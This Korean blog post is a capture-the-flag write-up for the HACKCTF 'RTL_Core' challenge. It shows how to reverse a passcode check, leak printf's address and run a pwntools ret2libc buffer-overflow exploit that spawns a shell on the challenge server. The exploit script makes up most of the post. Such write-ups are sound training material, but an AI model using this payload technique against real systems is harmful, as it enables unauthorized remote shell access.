HACKCTF - RTL_Core
2020. 7. 29. 20:07ㆍCTF's Write-up
yes_or_no 랑 비슷한 문제로 보였습니다.
처음에 삽질해서 시간 오래걸렸네요 ㅠㅠ
초기에 실행하면 위와같이 패스코드 입력하라고하고, 어떤 키랑 비교하는것 같습니다.
이 부분을 확인해보면
9번줄을보면 check_passcode($s) == hashcode 를 비교하는데
hashcode = 0C0D9B0A7 입니다.
passcode를 체크하는 구간인데, 약간의 역연산이 필요합니다.
a1의 주소를입력받아서 4바이트씩 늘려서 5개를 더하는 함수인데 아래와 같은 코드를 작성해서 이를 구할 수 있습니다.
1
2
3
4
5
6
7
8
9
|
key = 0x0C0D9B0A7
add = key/5
print("add = " + hex(add))
recoveradd = add*5
print("addmulti = " + hex(recoveradd))
print("original = " + hex(key))
print("original - nultiple = " + hex(key-recoveradd))
|
cs |
따라서 0x2691f021 가 4개 필요하고, 2바이트를 더한 0x2691f023이 1개 필요한 것을 알 수 있습니다.
이를 작성해서 넘겨주게되면
이런식으로 함수주소 하나를 던져줍니다.
이 함수 주소가 뭔지 보면
printf함수 인것을 볼 수 있습니다.
따라서 libc도 가지고 있으니 주소의 차를 찾아서 system("/bin/sh")를 실행할 수 있습니다.
payload는 아래와 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3015)
e = ELF("./rtlcore")
libc = e.libc
libc = ELF("./libc.so.6")
context.log_level = "debug"
system_offset = libc.symbols['system']
printf_offset = libc.symbols['printf']
binsh_offset = next(libc.search('/bin/sh'))
r.recvuntil("Passcode: ")
payload = ""
payload +=p32(0x2691f021)*4
payload +=p32(0x2691f023)
r.sendline(payload)
print(r.recvuntil("0x"))
printf_add = int(r.recv(8), 16)
log.info("printf_add = " + hex(printf_add))
base_add = printf_add - printf_offset
system_add = base_add + system_offset
binsh_add = base_add + binsh_offset
log.info("base_add = " + hex(base_add))
log.info("system_add = " + hex(system_add))
log.info("binsh_add = " + hex(binsh_add))
payload2 = ""
payload2 += "A"*0x3E + "A"*0x4
payload2 += p32(system_add)
payload2 += "A"*0x4
payload2 += p32(binsh_add)
sleep(0.1)
r.sendline(payload2)
r.interactive()
|
cs |
실행하게되면
위와같이 shell을 획득할 수 있습니다.
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - Gift (0) | 2020.07.30 |
---|---|
HACKCTF - DNA (0) | 2020.07.30 |
DreamHack - off_by_one_000 (0) | 2020.07.29 |
DreamHack - basic_exploitation_003 (0) | 2020.07.29 |
HACKCTF - 나는 해귀다 (0) | 2020.07.29 |